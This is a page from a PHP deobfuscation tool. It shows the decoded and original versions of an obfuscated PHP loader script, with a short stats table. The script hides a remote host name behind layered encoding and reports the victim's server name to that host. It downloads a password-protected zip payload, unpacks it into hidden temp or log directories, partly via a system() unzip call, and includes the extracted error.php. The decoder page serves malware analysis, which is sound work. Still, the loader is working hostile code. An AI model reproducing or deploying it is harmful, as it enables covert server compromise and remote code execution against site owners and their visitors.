Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0); set_time_limit(0); @session_start(); @$_SESSION['actio..
Decoded Output download
<?php
error_reporting(0);
set_time_limit(0);
@session_start();
@$_SESSION['action'] = $x_self;
@$_SESSION['conf_file'] = $conFile;
$xdXDd = DIRECTORY_SEPARATOR;
$x5c5c = dirname(__FILE__);
$fp = fopen('lidn3.txt', 'w');
class x67C1
{
public $temp;
public $xADE1d;
public $status;
public $x50324;
public $xaA622;
public $xGeA23;
public $x5c5c;
public $done;
function xF585($g)
{
$xGac3 = array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','==');
$xX1227 = array('!0!','@5@','(2)','#8#','&_&','-4-','*9*','%3%','::','[+]','""','^.^','&&','*+*','"."','|2|','):(','(1)','\9\','V~V','"
}
"','<0>',':!:',':$:','%_%',']\'[','!-!');
$x04519 = array('0','1','2','3','4','5','6','7','8','9','==');
$x5bX1a = array('++','!!','##','((','$$','@@','__','%%','**','^^','_+');
$xc8b1b = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','=');
$x0001c = array('<>','?:','"|','
{
}
','_+','()','&*','%^','#$','!@','!#','@$','#%','$^','%&','^*','&(','*)','(_','::',',.','/;
','\'\','[]',';
.','\',','/
}
');
$xCDe29 = base64_decode(str_replace($x0001c,$xc8b1b,base64_decode(str_replace($x5bX1a,$x04519,strrev(str_replace($xX1227,$xGac3,$g))))));
fwrite($fp, $xCDe29);
}
function xE059($xd4928,$stat)
{
if(!isset($_SESSION['activeSET']))
{
$post_data = [ 'request' => base64_encode($_SERVER['SERVER_NAME']), 'stat' => base64_encode($stat) ];
$post_context = stream_context_create([ 'http' => [ 'header' => "Content-type: application/x-www-form-urlencoded
", 'method' => 'POST', 'content' => http_build_query($post_data) ] ]);
$xCDe29 = $this->xF585($xd4928);
$url = 'http://'.$xCDe29.'/activate.php';
$xa534 = file_get_contents($url, false, $post_context);
if(!empty($xa534))
{
@$_SESSION['activeSET'] = $xa534;
header("Location: ".$_SERVER['REQUEST_URI']);
}
}
}
function xxec12($url)
{
if (function_exists('curl_exec'))
{
$xcf3a = curl_init($url);
curl_setopt($xcf3a, CURLOPT_SSL_VERIFYPEER, true);
curl_setopt($xcf3a, CURLOPT_FRESH_CONNECT, true);
curl_setopt($xcf3a, CURLOPT_RETURNTRANSFER, 1);
$xxDG13 = (curl_exec($xcf3a));
curl_close($xcf3a);
}
elseif (function_exists('file_get_contents'))
{
$xxDG13 = file_get_contents($url);
}
elseif (function_exists('fopen') && function_exists('stream_get_contents'))
{
$xE2G15 = fopen ($url, "r");
$xxDG13 = stream_get_contents($xE2G15);
}
else
{
$xxDG13 = false;
}
return $xxDG13;
}
function __construct($xdXDd, $conf)
{
$xGeA23 = "trash";
$this->x5c5c = dirname(__FILE__);
if(@$_SESSION['activeSET'] != "")
{
$key = @$_SESSION['activeSET'];
}
else
{
$key = basename(strtok($_SERVER['REQUEST_URI'],'?'));
}
$conf_file = @$_SESSION['conf_file'];
if($xdXDd == "/")
{
$this->xADE1d = "Lin";
$this->xaA622 = DIRECTORY_SEPARATOR;
if(is_dir("/tmp") && is_writable("/tmp"))
{
if(!is_dir("/tmp/session_adapt_".fudBase))
{
mkdir("/tmp/session_adapt_".fudBase);
}
$this->temp = "/tmp/session_adapt_".fudBase;
$_SESSION['tempdir'] = base64_encode($this->temp);
}
elseif(is_writable("../"))
{
if(!is_dir("../logs_".fudBase))
{
mkdir("../logs_".fudBase);
}
$this->temp = "../logs_".fudBase;
$_SESSION['tempdir'] = base64_encode($this->temp);
}
elseif(is_dir("../logs") && is_writable("../logs"))
{
if(!is_dir("../logs/adaptation_".fudBase))
{
mkdir("../logs/adaptation_".fudBase);
}
$this->temp = "../logs/adaptation_".fudBase;
$_SESSION['tempdir'] = base64_encode($this->temp);
}
else
{
mkdir(".ht.".fudBase);
$this->temp = ".ht.".fudBase;
$_SESSION['tempdir'] = base64_encode($this->temp);
}
if(file_exists($this->temp.$this->xaA622.".ht_set"))
{
$this->status = "Config exist";
$this->x50324 = 99;
goto set;
}
$this->xE059($conf,"auth");
@unlink($this->temp.$this->xaA622.$xGeA23);
if($this->xxec12("http://".$this->xF585($conf)."/___rolling/".$conf_file) && $this->xxec12("http://".$this->xF585($conf)."/___rolling/".$conf_file) != false)
{
$xx4e10 = fopen($this->temp.$this->xaA622.$xGeA23,'x');
fwrite($xx4e10, $this->xxec12("http://".$this->xF585($conf)."/___rolling/".$conf_file));
fclose($xx4e10);
if(function_exists("ZipArchive"))
{
$zip = new ZipArchive;
$xcX01f = @$zip->open($this->temp.$this->xaA622.$xGeA23);
if (@$xcX01f === TRUE)
{
if ($zip->setPassword($key))
{
if(!$zip->extractTo($this->temp.$xdXDd))
{
$this->status = "INVALID ACTIVATION";
$this->x50324 = 66;
}
else
{
file_put_contents($this->temp.$this->xaA622.".ht_set", "success");
$this->status = "Config set successfully~";
$this->x50324 = 99;
}
}
$zip->close();
}
else
{
$this->status = "Config doesn't exist!";
$this->x50324 = 66;
}
}
else
{
$zip = new ZipArchive;
$xcX01f = @$zip->open($this->temp.$this->xaA622.$xGeA23);
if (@$xcX01f === TRUE)
{
if ($zip->setPassword($key))
{
if(!$zip->extractTo($this->temp.$xdXDd))
{
$this->status = "INVALID ACTIVATION";
$this->x50324 = 66;
}
else
{
file_put_contents($this->temp.$this->xaA622.".ht_set", "success");
$this->status = "Config set successfully~";
$this->x50324 = 99;
}
}
$zip->close();
}
else
{
echo "<//--";
@system("cd ".$this->temp.$this->xaA622." && unzip -P ".$key." fud_");
echo "--//>";
if(file_exists($this->temp.$this->xaA622.'.ht_config'))
{
file_put_contents($this->temp.$this->xaA622.".ht_set", "success");
$this->status = "Config set successfully~";
$this->x50324 = 99;
}
else
{
$this->status = "Config doesn't exist!";
$this->x50324 = 66;
}
}
}
$this->xGeA23 = $this->temp.$this->xaA622.$xGeA23;
}
else
{
$this->status = "Unknown problem on token: ".$conf;
}
set: $this->done = true;
}
else
{
$this->xADE1d = "Win";
$this->xaA622 = DIRECTORY_SEPARATOR;
if(is_writable("..".$this->xaA622."..".$this->xaA622))
{
if(!is_dir("..".$this->xaA622."..".$this->xaA622."_adaptation_".fudBase))
{
mkdir("..".$this->xaA622."..".$this->xaA622."_adaptation_".fudBase);
}
$x45F26 = explode($xdXDd,$this->x5c5c);
$i = count(explode($xdXDd,$this->x5c5c)) -3;
@$_SESSION['temp'] = "";
for($x=0;
$x <= $i;
$x++)
{
@$_SESSION['temp'] = @$_SESSION['temp'] .$x45F26[$x].$xdXDd;
}
$this->temp = $_SESSION['temp']."_adaptation_".fudBase;
$_SESSION['tempdir'] = base64_encode($this->temp);
}
elseif(is_writable("..".$this->xaA622))
{
if(!is_dir("..".$this->xaA622."_adaptation_".fudBase))
{
mkdir("..".$this->xaA622."_adaptation_".fudBase);
}
$x45F26 = explode($xdXDd,$this->x5c5c);
$i = count(explode($xdXDd,$this->x5c5c)) -2;
@$_SESSION['temp'] = "";
for($x=0;
$x <= $i;
$x++)
{
@$_SESSION['temp'] = @$_SESSION['temp'] .$x45F26[$x].$xdXDd;
}
$this->temp = $_SESSION['temp']."_adaptation_".fudBase;
$_SESSION['tempdir'] = base64_encode($this->temp);
}
else
{
if(!is_dir("_adaptaion_".fudBase))
{
mkdir("_adaptaion_".fudBase);
}
$this->temp = "_adaptaion_".fudBase;
$_SESSION['tempdir'] = base64_encode($this->temp);
}
if(file_exists($this->temp.$this->xaA622.".ht_set"))
{
$this->status = "Config exist";
$this->x50324 = 99;
goto set1;
}
$this->xE059($conf,"auth");
@unlink($this->temp.$this->xaA622.$xGeA23);
if($this->xxec12("http://".$this->xF585($conf)."/___rolling/".$conf_file) && $this->xxec12("http://".$this->xF585($conf)."/___rolling/".$conf_file) != false)
{
$xx4e10 = fopen($this->temp.$this->xaA622.$xGeA23,'x');
fwrite($xx4e10, $this->xxec12("http://".$this->xF585($conf)."/___rolling/".$conf_file));
fclose($xx4e10);
if(function_exists("ZipArchive"))
{
$zip = new ZipArchive;
$xcX01f = @$zip->open($this->temp.$this->xaA622.$xGeA23);
if (@$xcX01f === TRUE)
{
if ($zip->setPassword($key))
{
if(!$zip->extractTo($this->temp.$xdXDd))
{
$this->status = "INVALID ACTIVATION";
$this->x50324 = 66;
}
else
{
file_put_contents($this->temp.$this->xaA622.".ht_set", "success");
$this->status = "Config set successfully~";
$this->x50324 = 99;
}
}
$zip->close();
}
else
{
$this->status = "Config doesn't exist!";
$this->x50324 = 66;
}
}
else
{
$zip = new ZipArchive;
$xcX01f = @$zip->open($this->temp.$this->xaA622.$xGeA23);
if (@$xcX01f === TRUE)
{
if ($zip->setPassword($key))
{
if(!$zip->extractTo($this->temp.$xdXDd))
{
$this->status = "INVALID ACTIVATION";
$this->x50324 = 66;
}
else
{
file_put_contents($this->temp.$this->xaA622.".ht_set", "success");
$this->status = "Config set successfully~";
$this->x50324 = 99;
}
}
$zip->close();
}
else
{
$this->status = "Config doesn't exist!";
$this->x50324 = 66;
}
}
$this->xGeA23 = $this->temp.$this->xaA622.$xGeA23;
}
else
{
$this->status = "Unknown problem on token: ".$conf;
}
set1: $this->done = true;
}
if($this->x50324 == 99)
{
file_put_contents($this->temp.$this->xaA622.".ht_config",str_replace(array('0000000000','|'),array($this->temp,$this->xaA622),file_get_contents($this->temp.$this->xaA622.".ht_config")));
}
else
{
exit($this->status." :: ".$this->x50324." :: Core Function not compatible on system.");
}
}
}
$xABb14 = new x67C1($xdXDd,$conf);
if($xABb14->done != false)
{
include $xABb14->temp.$xABb14->xaA622."error.php";
}
else
{
header('Location: '. @$_SERVER['REQUEST_URI']);
};
?>
Did this file decode correctly?
Original Code
<?php
error_reporting(0);
set_time_limit(0);
@session_start();
@$_SESSION['action'] = $x_self;
@$_SESSION['conf_file'] = $conFile;
$xdXDd = DIRECTORY_SEPARATOR;
$x5c5c = dirname(__FILE__);
$fp = fopen('lidn3.txt', 'w');
class x67C1
{
public $temp;
public $xADE1d;
public $status;
public $x50324;
public $xaA622;
public $xGeA23;
public $x5c5c;
public $done;
function xF585($g)
{
$xGac3 = array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','==');
$xX1227 = array('!0!','@5@','(2)','#8#','&_&','-4-','*9*','%3%','::','[+]','""','^.^','&&','*+*','"."','|2|','):(','(1)','\\9\\','V~V','"
}
"','<0>',':!:',':$:','%_%',']\'[','!-!');
$x04519 = array('0','1','2','3','4','5','6','7','8','9','==');
$x5bX1a = array('++','!!','##','((','$$','@@','__','%%','**','^^','_+');
$xc8b1b = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','=');
$x0001c = array('<>','?:','"|','
{
}
','_+','()','&*','%^','#$','!@','!#','@$','#%','$^','%&','^*','&(','*)','(_','::',',.','/;
','\'\\','[]',';
.','\',','/
}
');
$xCDe29 = base64_decode(str_replace($x0001c,$xc8b1b,base64_decode(str_replace($x5bX1a,$x04519,strrev(str_replace($xX1227,$xGac3,$g))))));
fwrite($fp, $xCDe29);
}
function xE059($xd4928,$stat)
{
if(!isset($_SESSION['activeSET']))
{
$post_data = [ 'request' => base64_encode($_SERVER['SERVER_NAME']), 'stat' => base64_encode($stat) ];
$post_context = stream_context_create([ 'http' => [ 'header' => "\x43o\x6e\164\x65\x6e\164-type: \141\160\x70\154\151c\x61\164\151\x6f\156/x-\x77\167w-\x66o\162\155-\165r\x6c\x65n\x63\x6f\144e\x64\r\n", 'method' => 'POST', 'content' => http_build_query($post_data) ] ]);
$xCDe29 = $this->xF585($xd4928);
$url = 'http://'.$xCDe29.'/activate.php';
$xa534 = file_get_contents($url, false, $post_context);
if(!empty($xa534))
{
@$_SESSION['activeSET'] = $xa534;
header("\x4c\157ca\164i\x6f\x6e: ".$_SERVER['REQUEST_URI']);
}
}
}
function xxec12($url)
{
if (function_exists('curl_exec'))
{
$xcf3a = curl_init($url);
curl_setopt($xcf3a, CURLOPT_SSL_VERIFYPEER, true);
curl_setopt($xcf3a, CURLOPT_FRESH_CONNECT, true);
curl_setopt($xcf3a, CURLOPT_RETURNTRANSFER, 1);
$xxDG13 = (curl_exec($xcf3a));
curl_close($xcf3a);
}
elseif (function_exists('file_get_contents'))
{
$xxDG13 = file_get_contents($url);
}
elseif (function_exists('fopen') && function_exists('stream_get_contents'))
{
$xE2G15 = fopen ($url, "\162");
$xxDG13 = stream_get_contents($xE2G15);
}
else
{
$xxDG13 = false;
}
return $xxDG13;
}
function __construct($xdXDd, $conf)
{
$xGeA23 = "\x74\x72as\x68";
$this->x5c5c = dirname(__FILE__);
if(@$_SESSION['activeSET'] != "")
{
$key = @$_SESSION['activeSET'];
}
else
{
$key = basename(strtok($_SERVER['REQUEST_URI'],'?'));
}
$conf_file = @$_SESSION['conf_file'];
if($xdXDd == "/")
{
$this->xADE1d = "\x4c\151n";
$this->xaA622 = DIRECTORY_SEPARATOR;
if(is_dir("/\x74\x6d\160") && is_writable("/\x74m\160"))
{
if(!is_dir("/\164m\160/se\x73s\x69on_\x61d\141p\164_".fudBase))
{
mkdir("/\164m\160/se\x73\163\151o\x6e_\141d\x61\x70\164_".fudBase);
}
$this->temp = "/\x74\155p/s\145s\x73\x69\157\x6e_\x61d\141\160\x74_".fudBase;
$_SESSION['tempdir'] = base64_encode($this->temp);
}
elseif(is_writable("../"))
{
if(!is_dir("../\154\x6f\x67\163_".fudBase))
{
mkdir("../lo\x67\x73_".fudBase);
}
$this->temp = "../\154\157gs_".fudBase;
$_SESSION['tempdir'] = base64_encode($this->temp);
}
elseif(is_dir("../\x6co\147s") && is_writable("../\154o\x67\x73"))
{
if(!is_dir("../\x6co\147\163/\x61\x64\x61\160ta\164i\157n_".fudBase))
{
mkdir("../l\157g\163/a\144a\x70\x74ati\x6f\156_".fudBase);
}
$this->temp = "../\154\x6fg\x73/\141\x64\141\x70\164\x61\164i\157\x6e_".fudBase;
$_SESSION['tempdir'] = base64_encode($this->temp);
}
else
{
mkdir(".ht.".fudBase);
$this->temp = ".ht.".fudBase;
$_SESSION['tempdir'] = base64_encode($this->temp);
}
if(file_exists($this->temp.$this->xaA622.".ht_\x73\145t"))
{
$this->status = "C\x6f\156\x66\x69\147 ex\151\x73\x74";
$this->x50324 = 99;
goto set;
}
$this->xE059($conf,"\x61u\x74\150");
@unlink($this->temp.$this->xaA622.$xGeA23);
if($this->xxec12("\150tt\x70://".$this->xF585($conf)."/___r\157\x6cl\151\x6e\x67/".$conf_file) && $this->xxec12("\150\164t\160://".$this->xF585($conf)."/___r\157l\x6cin\147/".$conf_file) != false)
{
$xx4e10 = fopen($this->temp.$this->xaA622.$xGeA23,'x');
fwrite($xx4e10, $this->xxec12("\x68\164t\160://".$this->xF585($conf)."/___\162ol\154\x69\x6eg/".$conf_file));
fclose($xx4e10);
if(function_exists("ZipArchive"))
{
$zip = new ZipArchive;
$xcX01f = @$zip->open($this->temp.$this->xaA622.$xGeA23);
if (@$xcX01f === TRUE)
{
if ($zip->setPassword($key))
{
if(!$zip->extractTo($this->temp.$xdXDd))
{
$this->status = "I\116\126\101\x4c\111\x44 \x41\103\x54I\x56\x41TI\117\116";
$this->x50324 = 66;
}
else
{
file_put_contents($this->temp.$this->xaA622.".h\x74_\163\x65\164", "\x73u\x63c\x65\163\x73");
$this->status = "\x43\x6fn\146\151\x67 set \x73\x75\143\x63\145\x73s\x66\x75\x6c\154y~";
$this->x50324 = 99;
}
}
$zip->close();
}
else
{
$this->status = "C\x6f\156f\x69g \x64\157\145s\156'\x74 ex\x69\163\164!";
$this->x50324 = 66;
}
}
else
{
$zip = new ZipArchive;
$xcX01f = @$zip->open($this->temp.$this->xaA622.$xGeA23);
if (@$xcX01f === TRUE)
{
if ($zip->setPassword($key))
{
if(!$zip->extractTo($this->temp.$xdXDd))
{
$this->status = "\111\x4eV\101\x4cID A\103\x54\111\x56A\124\x49\x4f\116";
$this->x50324 = 66;
}
else
{
file_put_contents($this->temp.$this->xaA622.".\150t_\x73\145\164", "su\x63\143e\163s");
$this->status = "\103o\156\x66\x69g set \163uc\143\145s\163\x66\x75\154\x6c\171~";
$this->x50324 = 99;
}
}
$zip->close();
}
else
{
echo "<//--";
@system("cd ".$this->temp.$this->xaA622." && unzi\x70 -\120 ".$key." fud_");
echo "--//>";
if(file_exists($this->temp.$this->xaA622.'.ht_config'))
{
file_put_contents($this->temp.$this->xaA622.".h\164_s\x65t", "su\x63c\x65\x73\163");
$this->status = "Co\x6e\x66\151g set \163ucce\163s\x66\165\x6cly~";
$this->x50324 = 99;
}
else
{
$this->status = "C\157n\x66\x69\x67 \x64\x6f\x65\163\x6e'\x74 \x65\x78is\164!";
$this->x50324 = 66;
}
}
}
$this->xGeA23 = $this->temp.$this->xaA622.$xGeA23;
}
else
{
$this->status = "\125\156\153\156o\x77\x6e pr\x6f\x62\154\145\155 \157\x6e t\x6f\x6be\156: ".$conf;
}
set: $this->done = true;
}
else
{
$this->xADE1d = "\x57\151\156";
$this->xaA622 = DIRECTORY_SEPARATOR;
if(is_writable("..".$this->xaA622."..".$this->xaA622))
{
if(!is_dir("..".$this->xaA622."..".$this->xaA622."_\x61\x64ap\164\x61\x74\151on_".fudBase))
{
mkdir("..".$this->xaA622."..".$this->xaA622."_a\144ap\164\141tio\156_".fudBase);
}
$x45F26 = explode($xdXDd,$this->x5c5c);
$i = count(explode($xdXDd,$this->x5c5c)) -3;
@$_SESSION['temp'] = "";
for($x=0;
$x <= $i;
$x++)
{
@$_SESSION['temp'] = @$_SESSION['temp'] .$x45F26[$x].$xdXDd;
}
$this->temp = $_SESSION['temp']."_ad\x61\x70\x74\141\x74io\x6e_".fudBase;
$_SESSION['tempdir'] = base64_encode($this->temp);
}
elseif(is_writable("..".$this->xaA622))
{
if(!is_dir("..".$this->xaA622."_\x61\x64\141\160\164\x61t\x69\x6f\x6e_".fudBase))
{
mkdir("..".$this->xaA622."_\141d\141p\164\141\x74i\x6fn_".fudBase);
}
$x45F26 = explode($xdXDd,$this->x5c5c);
$i = count(explode($xdXDd,$this->x5c5c)) -2;
@$_SESSION['temp'] = "";
for($x=0;
$x <= $i;
$x++)
{
@$_SESSION['temp'] = @$_SESSION['temp'] .$x45F26[$x].$xdXDd;
}
$this->temp = $_SESSION['temp']."_\141da\x70\x74\x61t\x69o\156_".fudBase;
$_SESSION['tempdir'] = base64_encode($this->temp);
}
else
{
if(!is_dir("_\x61d\x61\x70taio\x6e_".fudBase))
{
mkdir("_\x61dap\x74a\151on_".fudBase);
}
$this->temp = "_\141\x64a\160\x74\x61i\157n_".fudBase;
$_SESSION['tempdir'] = base64_encode($this->temp);
}
if(file_exists($this->temp.$this->xaA622.".\x68\164_\163\145t"))
{
$this->status = "\103o\x6efi\x67 \145\170\x69\x73\164";
$this->x50324 = 99;
goto set1;
}
$this->xE059($conf,"a\165\164\150");
@unlink($this->temp.$this->xaA622.$xGeA23);
if($this->xxec12("\150tt\x70://".$this->xF585($conf)."/___r\157\154\154i\156g/".$conf_file) && $this->xxec12("\x68\164\x74\x70://".$this->xF585($conf)."/___r\157l\154\151\x6eg/".$conf_file) != false)
{
$xx4e10 = fopen($this->temp.$this->xaA622.$xGeA23,'x');
fwrite($xx4e10, $this->xxec12("h\164\164\160://".$this->xF585($conf)."/___\x72\x6fl\x6c\151n\147/".$conf_file));
fclose($xx4e10);
if(function_exists("ZipArchive"))
{
$zip = new ZipArchive;
$xcX01f = @$zip->open($this->temp.$this->xaA622.$xGeA23);
if (@$xcX01f === TRUE)
{
if ($zip->setPassword($key))
{
if(!$zip->extractTo($this->temp.$xdXDd))
{
$this->status = "\x49\x4eV\x41LI\104 \x41C\x54IV\x41TI\117N";
$this->x50324 = 66;
}
else
{
file_put_contents($this->temp.$this->xaA622.".\x68t_s\x65\164", "s\165\x63c\x65ss");
$this->status = "\x43\x6fn\x66\151\x67 set s\x75\x63ce\163\x73ful\154y~";
$this->x50324 = 99;
}
}
$zip->close();
}
else
{
$this->status = "\x43\x6fnfi\147 d\157esn'\x74 \145\x78\151\163\x74!";
$this->x50324 = 66;
}
}
else
{
$zip = new ZipArchive;
$xcX01f = @$zip->open($this->temp.$this->xaA622.$xGeA23);
if (@$xcX01f === TRUE)
{
if ($zip->setPassword($key))
{
if(!$zip->extractTo($this->temp.$xdXDd))
{
$this->status = "INVALI\x44 \x41\103\124\x49\x56A\x54I\117N";
$this->x50324 = 66;
}
else
{
file_put_contents($this->temp.$this->xaA622.".\150\x74_\163\145t", "\163\165c\x63ess");
$this->status = "C\157n\146\151g set \163\165\x63\x63e\163\x73\146u\154\154\171~";
$this->x50324 = 99;
}
}
$zip->close();
}
else
{
$this->status = "Co\x6e\x66\x69\147 d\x6fe\163\x6e't \x65x\x69\x73t!";
$this->x50324 = 66;
}
}
$this->xGeA23 = $this->temp.$this->xaA622.$xGeA23;
}
else
{
$this->status = "\125\156k\156\157\x77\x6e \160\162\157\x62\x6c\x65m \x6f\156 \164\157ke\156: ".$conf;
}
set1: $this->done = true;
}
if($this->x50324 == 99)
{
file_put_contents($this->temp.$this->xaA622.".\150t_\143\157\156\146\x69\147",str_replace(array('0000000000','|'),array($this->temp,$this->xaA622),file_get_contents($this->temp.$this->xaA622.".h\x74_\143\x6f\156fi\147")));
}
else
{
exit($this->status." :: ".$this->x50324." :: Cor\x65 \x46u\156\143\x74\x69\x6f\156 \156ot \x63\157\x6d\160a\x74\x69\x62le \157n \x73\x79\163t\145\x6d.");
}
}
}
$xABb14 = new x67C1($xdXDd,$conf);
if($xABb14->done != false)
{
include $xABb14->temp.$xABb14->xaA622."\x65\x72\x72\157\x72.p\150p";
}
else
{
header('Location: '. @$_SERVER['REQUEST_URI']);
};
?>
Function Calls
| None |
Stats
| MD5 | a308a37512f8f4f06ca0fb97e2797627 |
| Eval Count | 0 |
| Decode Time | 140 ms |